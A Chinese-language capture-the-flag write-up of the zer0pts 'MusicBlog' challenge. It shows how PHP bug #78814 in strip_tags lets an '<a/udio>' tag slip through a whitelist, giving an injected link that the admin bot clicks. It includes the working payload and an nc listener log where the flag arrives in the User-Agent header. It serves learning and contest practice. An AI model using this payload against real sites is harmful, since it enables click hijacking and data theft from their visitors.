摘要:php // [[URL]] → function render_tags($str) { $str = preg_replace('/\[\[(.+。[[URL]] 替換爲 之後,通過 strip_tags 將 audio 之外的標籤消除來防止XSS。

You can introduce favorite songs to friends with MusicBlog !

Challenge (URL)

題目文件: MusicBlog_637545797ab8638bffd877d7be2ec045.tar.gz

是一個Blog。在發佈文章時可以選擇是否公開,如果設置爲公開,admin用戶會自動訪問該文章並點贊。寫文章時可以使用 [[URL]] 語法,將其插入到句子中會展開成 <audio controls src="URL"></audio> 這樣的audio元素。

首先,確認flag在哪。搜索 zer0pts{ ,能夠發現flag在 worker/worker.js 中,這是admin自動訪問代碼的一部分。

// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 10 * 1000,
        });
        await page.click('#like');
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

// (snipped)

await page.setUserAgent(flag); ,會將User-Agent設置爲flag。那麼首先,考慮找到一個使用 [[URL]] 進行外部請求的方法,但是 Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-yuAhic5Y6HSsT0e5zC8Qlg==' 'strict-dynamic'; base-uri 'none'; trusted-types ,嚴格的CSP策略會禁止這樣。

但是,admin會進行 await page.click('#like'); ,如果能夠將一個可控元素的id設置爲like,就可以利用admin的click,考慮通過XSS將admin重定向訪問到外部。

查看文章的單獨頁面post.php, 能夠發現這裏將文章內容作爲參數,經過 render_tags 後返回值顯示在頁面上。

︙
          <div class="mt-3">
            <?= render_tags($post['content']) ?>
          </div>
︙

render_tagsutils.php 中定義:

<?php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
  $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
  $str = strip_tags($str, '<audio>'); // only allows `<audio>`
  return $str;
}
︙

[[URL]] 替換爲 <audio controls src="URL"></audio> 之後,通過 strip_tagsaudio 之外的標籤消除來防止XSS。那如果使用 [["></audio><script>alert(1)</script>]] 作爲URL,經過這種處理之後就變成了 <audio controls src=""></audio>alert(1)"></audio> , <script></script> 都被刪除了,做不了什麼。

看一下Web server的Dockerfile,可以看到使用的是PHP 7.4.0, 截至2020年3月7日,最新版本爲PHP 7.4.3,看起來稍微有點老,因此可以看一下PHP 7.4.0之後的 PHP 7.4.1的ChangeLog

Standard:

  • Fixed bug #78814 (strip_tags allows / in tag name => whitelist bypass).

可以看到修復了 strip_tags 的一個bug,詳細說明見 https://bugs.php.net/bug.php?id=78814

Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers

When strip_tags is used with a whitelist of tags, php allows slashes (“/”) that occur inside the name of a whitelisted tag and copies them to the result.

For example, if is whitelisted, then a tag is also kept.

Test script:
---------------
<?php

echo strip_tags("<s/trong>b</strong>", "<strong>");

Expected result:
----------------
b

Actual result:
--------------
<s/trong>b</strong>

<strong> 作爲白名單時,添加斜槓的 <s/trong> 沒有被刪除,原樣輸出。MusicBlog 中使用的是 <audio> 作爲白名單, <a/udio> 可以通過函數處理,並且 <a/udio> 會作爲 超鏈接 <a> 被解析。

因此,利用這個bug,使用 [["></audio><a/udio href="(URL)" id="like">test</a/udio><audio a="]] 這樣的內容的話,經過處理在文章中展開後是

<audio controls src=""></audio><a/udio href="(URL)" id="like">test</a/udio><audio a=""></audio>

這樣admin自動去點擊id爲like的標籤的話,會點擊到我們可控的外部鏈接。

$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 33926 received!
GET / HTTP/1.1
︙
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
︙
Accept-Encoding: gzip, deflate
Accept-Language: en-US
相關文章